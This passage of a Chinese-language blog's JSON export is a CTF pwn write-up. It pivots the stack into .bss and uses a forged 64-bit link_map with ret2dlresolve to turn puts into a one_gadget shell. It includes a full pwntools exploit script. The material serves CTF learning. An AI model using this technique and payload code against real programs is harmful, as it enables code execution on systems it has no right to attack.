<\/span><\/h3>\n\n\n\n\u7b2c\u4e00\u6b21\uff0c\u4fee\u6539rbp\u5230bss\u4e0a\uff0c\u8fd9\u6837\u4e0b\u4e00\u6b21fgets\u65f6\u5c31\u53ef\u4ee5\u8f93\u5165\u5230bss\u6bb5\u4e0a<\/p>\n\n\n\n
\u7b2c\u4e8c\u6b21\uff0c\u5411bss\u6bb5\u4e0a\u8f93\u5165fake_link_map\u548crop\u94fe\uff0c\u5229\u7528ret2dl\u5c06puts\u51fd\u6570\u89e3\u6790\u4e3aonegadget\uff0864\u4f4d\u53ef\u4ee5\u8fd9\u6837\u64cd\u4f5c\uff0c32\u4f4d\u662f\u6839\u636e\u51fd\u6570\u540d\u5b57\u7b26\u4e32\u5bfb\u5740\u7684\uff0c\u6240\u4ee5\u4e0d\u80fd\u64cd\u4f5c\uff0cdl\u5177\u4f53\u77e5\u8bc6\u6709\u70b9\u5fd8\u4e86\uff0c\u4e0d\u786e\u5b9a\u8bf4\u7684\u5bf9\u4e0d\u5bf9\uff0c\u611f\u5174\u8da3\u53ef\u4ee5\u81ea\u884c\u67e5\u9605\u4e00\u4e0b\uff09<\/p>\n\n\n\n
\u7b80\u5355\u5c31\u7b80\u5355\u5728dl\u5f88\u6a21\u677f\uff0c\u53ea\u9700\u8981\u628a\u677f\u5b50\u5957\u5bf9\u5373\u53ef<\/p>\n\n\n\n
# \u4f20\u53c2\u5206\u522b\u4e3a\uff1a\u4f2a\u9020\u7684link_map\u5730\u5740\u3001\u5728got\u8868\u4e2d\u5b58\u5728\u51fd\u6570\u5730\u5740\u7684got\u5730\u5740\u3001libc\u4e2dsystem\u7684\u5730\u5740\u3001\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5bf9\u5e94\u7684\u51fd\u6570\u5728libc\u4e2d\u7684\u5730\u5740\ndef get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):\n offset = system_base - solved_base\n\n fake_Elf64_Dyn = b\"\"\n fake_Elf64_Dyn += p64(0) # d_tag \u4ecelink_map\u4e2d\u627e.rel.plt\u4e0d\u9700\u8981\u7528\u5230\u6807\u7b7e\uff0c \u968f\u610f\u8bbe\u7f6e\n fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr \u6307\u5411\u4f2a\u9020\u7684Elf64_Rela\u7ed3\u6784\u4f53\uff0c\u7531\u4e8ereloc_offset\u4e5f\u88ab\u63a7\u5236\u4e3a0\uff0c\u4e0d\u9700\u8981\u4f2a\u9020\u591a\u4e2a\u7ed3\u6784\u4f53\n\n fake_Elf64_Rela = b\"\"\n fake_Elf64_Rela += p64(\n fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset\uff0c\n # \u76f4\u63a5\u6307\u5411fake_link_map\u6240\u5728\u4f4d\u7f6e\u4ee4\u5176\u53ef\u8bfb\u5199\u5c31\u884c\uff0coffset\u4e3a\u6307\u5411\u7684\u9700\u8981\u7684\u51fd\u6570\u8ddd\u79bb\u53ef\u5f97\u771f\u5b9e\u5730\u5740\u7684\u51fd\u6570\u7684\u504f\u79fb\n fake_Elf64_Rela += p64(7) # r_info index\u8bbe\u7f6e\u4e3a0\uff0c\u6700\u540e\u4e00\u5b57\u8282\u5fc5\u987b\u4e3a7\n fake_Elf64_Rela += p64(0) # r_addend \u968f\u610f\u8bbe\u7f6e\n\n fake_Elf64_Sym = b\"\"\n fake_Elf64_Sym += p32(0) # st_name \u968f\u610f\u8bbe\u7f6e\n fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other\u975e0\u4ee5\u907f\u514d\u8fdb\u5165\u91cd\u5b9a\u4f4d\u7b26\u53f7\u7684\u5206\u652f\n fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value \u5df2\u89e3\u6790\u51fd\u6570\u7684got\u8868\u5730\u5740-8\uff0c-8\u4f53\u73b0\u5728\u6c47\u7f16\u4ee3\u7801\u4e2d\uff0c\u539f\u56e0\u4e0d\u660e\n fake_Elf64_Sym += p64(0) # st_size \u968f\u610f\u8bbe\u7f6e\n\n fake_link_map_data = b\"\"\n # \u5982\u679coffset\u4e3a\u8d1f\u6570\u4f7f\u7528\u8865\u7801\n if offset < 0:\n fake_link_map_data += p64(2 ** 64 + offset) # l_addr\uff0c\u4f2a\u9020\u4e3a\u4e24\u4e2a\u51fd\u6570\u7684\u5730\u5740\u504f\u79fb\u503c\u7684\u8865\u7801\uff08\u4e3a\u8d1f\u65f6\uff09\n else:\n fake_link_map_data += p64(offset) # l_addr\uff0c\u4f2a\u9020\u4e3a\u4e24\u4e2a\u51fd\u6570\u7684\u5730\u5740\u504f\u79fb\u503c\n\n fake_link_map_data += fake_Elf64_Dyn\n fake_link_map_data += fake_Elf64_Rela\n fake_link_map_data += fake_Elf64_Sym\n fake_link_map_data += b'\\x00' * 0x20\n fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB \u8bbe\u7f6e\u4e3a\u4e00\u4e2a\u53ef\u8bfb\u7684\u5730\u5740\n fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB \u6307\u5411\u5bf9\u5e94\u7ed3\u6784\u4f53\u6570\u7ec4\u7684\u5730\u5740\n fake_link_map_data += b\"\/bin\/sh\\x00\"\n fake_link_map_data += b'\\x01' * 0x78\n fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL \u6307\u5411\u5bf9\u5e94\u6570\u7ec4\u7ed3\u6784\u4f53\u7684\u5730\u5740\n\n return fake_link_map_data<\/code><\/pre>\n\n\n\n![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
\u7b2c\u4e00\u6b21\u53d1\u9001payload\uff0c\u76ee\u7684\u662f\u6539\u53d8rbp\uff0c\u4ece\u800c\u4f7f\u4e0b\u6b21\u8f93\u5165\u5230bss\u4e0a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6ce8\u610f\u4e0d\u8981\u628amov rbp,rsp\u5e26\u4e0a\uff0c\u90a3\u6837\u5c31\u767d\u6539rbp\u4e86<\/p>\n\n\n\n
\u8fd9\u6837\u4e0b\u4e00\u6b21fgets\u5c31\u8f93\u5165\u5230\u4e86bss\u6bb5\u4e0a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8981\u6ce8\u610f\u7684\u662f\u4e0a\u9762\u6709\u4e00\u4e2a0x404550\uff0c\u8fd9\u662f\u4e3a\u4e86\u5728\u7b2c\u4e8c\u6b21leave\u4e4b\u540e\u628arbp\u653e\u5230\u4e00\u4e2a\u9002\u5f53\u7684\u4f4d\u7f6e\uff0c\u4ee5\u6ee1\u8db3onegadget\u7684\u6761\u4ef6<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6700\u540elink_map,r_offset\u901a\u8fc7\u6808\u4f20\u53c2\uff0c\u6240\u4ee5\u522b\u5fd8\u4e86\u628a\u4ed6\u4fe9\u4f20\u4e00\u4e0b\uff0c\u6700\u7ec8\u6210\u529fgetshell<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u9644\u8d60\u5b8c\u6574payload<\/p>\n\n\n\n
from pwnplus import *\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np=mypwn('.\/pwn')\nelf=ELF('.\/pwn')\nlibc=ELF('.\/libc.so.6')\n# \u4f20\u53c2\u5206\u522b\u4e3a\uff1a\u4f2a\u9020\u7684link_map\u5730\u5740\u3001\u5728got\u8868\u4e2d\u5b58\u5728\u51fd\u6570\u5730\u5740\u7684got\u5730\u5740\u3001libc\u4e2dsystem\u7684\u5730\u5740\u3001\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5bf9\u5e94\u7684\u51fd\u6570\u5728libc\u4e2d\u7684\u5730\u5740\ndef get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):\n offset = system_base - solved_base\n\n fake_Elf64_Dyn = b\"\"\n fake_Elf64_Dyn += p64(0) # d_tag \u4ecelink_map\u4e2d\u627e.rel.plt\u4e0d\u9700\u8981\u7528\u5230\u6807\u7b7e\uff0c \u968f\u610f\u8bbe\u7f6e\n fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr \u6307\u5411\u4f2a\u9020\u7684Elf64_Rela\u7ed3\u6784\u4f53\uff0c\u7531\u4e8ereloc_offset\u4e5f\u88ab\u63a7\u5236\u4e3a0\uff0c\u4e0d\u9700\u8981\u4f2a\u9020\u591a\u4e2a\u7ed3\u6784\u4f53\n\n fake_Elf64_Rela = b\"\"\n fake_Elf64_Rela += p64(\n fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset\uff0c\n # \u76f4\u63a5\u6307\u5411fake_link_map\u6240\u5728\u4f4d\u7f6e\u4ee4\u5176\u53ef\u8bfb\u5199\u5c31\u884c\uff0coffset\u4e3a\u6307\u5411\u7684\u9700\u8981\u7684\u51fd\u6570\u8ddd\u79bb\u53ef\u5f97\u771f\u5b9e\u5730\u5740\u7684\u51fd\u6570\u7684\u504f\u79fb\n fake_Elf64_Rela += p64(7) # r_info index\u8bbe\u7f6e\u4e3a0\uff0c\u6700\u540e\u4e00\u5b57\u8282\u5fc5\u987b\u4e3a7\n fake_Elf64_Rela += p64(0) # r_addend \u968f\u610f\u8bbe\u7f6e\n\n fake_Elf64_Sym = b\"\"\n fake_Elf64_Sym += p32(0) # st_name \u968f\u610f\u8bbe\u7f6e\n fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other\u975e0\u4ee5\u907f\u514d\u8fdb\u5165\u91cd\u5b9a\u4f4d\u7b26\u53f7\u7684\u5206\u652f\n fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value \u5df2\u89e3\u6790\u51fd\u6570\u7684got\u8868\u5730\u5740-8\uff0c-8\u4f53\u73b0\u5728\u6c47\u7f16\u4ee3\u7801\u4e2d\uff0c\u539f\u56e0\u4e0d\u660e\n fake_Elf64_Sym += p64(0) # st_size \u968f\u610f\u8bbe\u7f6e\n\n fake_link_map_data = b\"\"\n # \u5982\u679coffset\u4e3a\u8d1f\u6570\u4f7f\u7528\u8865\u7801\n if offset < 0:\n fake_link_map_data += p64(2 ** 64 + offset) # l_addr\uff0c\u4f2a\u9020\u4e3a\u4e24\u4e2a\u51fd\u6570\u7684\u5730\u5740\u504f\u79fb\u503c\u7684\u8865\u7801\uff08\u4e3a\u8d1f\u65f6\uff09\n else:\n fake_link_map_data += p64(offset) # l_addr\uff0c\u4f2a\u9020\u4e3a\u4e24\u4e2a\u51fd\u6570\u7684\u5730\u5740\u504f\u79fb\u503c\n\n fake_link_map_data += fake_Elf64_Dyn\n fake_link_map_data += fake_Elf64_Rela\n fake_link_map_data += fake_Elf64_Sym\n fake_link_map_data += b'\\x00' * 0x20\n fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB \u8bbe\u7f6e\u4e3a\u4e00\u4e2a\u53ef\u8bfb\u7684\u5730\u5740\n fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB \u6307\u5411\u5bf9\u5e94\u7ed3\u6784\u4f53\u6570\u7ec4\u7684\u5730\u5740\n fake_link_map_data += b\"\/bin\/sh\\x00\"\n fake_link_map_data += b'\\x01' * 0x78\n fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL \u6307\u5411\u5bf9\u5e94\u6570\u7ec4\u7ed3\u6784\u4f53\u7684\u5730\u5740\n\n return fake_link_map_data\npayload1=b'\\x00'*0x80+p64(0x404500+0x80)+p64(0x0000000000401247)\np.sla(b'Data: ',payload1)\nfake_link_map_addr=0x4045a0\njmp_dl=0x401026\nleave_ret=0x00000000004012cd\nonegadget=[0x583dc,0x583e3,0xef4ce,0xef52b]\nret2dldata=get_ret2dl_data(fake_link_map_addr,elf.got['puts'],onegadget[3],libc.symbols['puts'])\npayload2=b'\\x00'*0x80+p64(0x404550)+p64(jmp_dl)+p64(fake_link_map_addr)+p64(0)+ret2dldata\n# p.debug()\np.sla(b'Data: ',payload2)\n\np.ia()<\/code><\/pre>\n\n\n\n\u6709\u5173dl\u7684\u77e5\u8bc6\u81ea\u884c\u5b66\u4e60\uff0c\u4e86\u89e3dl\u7684\u80af\u5b9a\u4e00\u770b\u5c31\u61c2\u4e86<\/p>\n","protected":false},"excerpt":{"rendered":"
\u5148\u4e0a\u7ed3\u8bba\uff1a\u975e\u9884\u671f\u89e3\u5229\u7528ret2dl \u9898\u76ee\u5206\u6790 \u9898\u76ee\u5f88\u7b80\u5355\uff0c\u7531\u4e8efgets\u9047\u5230\\0\u4e0d\u4f1a\u622a\u65ad\uff0c\u6240\u4ee5\u90a3\u4e2aif\u5224\u65ad\u5f88\u5bb9 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[31,7],"class_list":["post-603","post","type-post","status-publish","format-standard","hentry","category-pwn","tag-ret2dl","tag-7"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=603"}],"version-history":[{"count":2,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/603\/revisions"}],"predecessor-version":[{"id":615,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/603\/revisions\/615"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=603"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}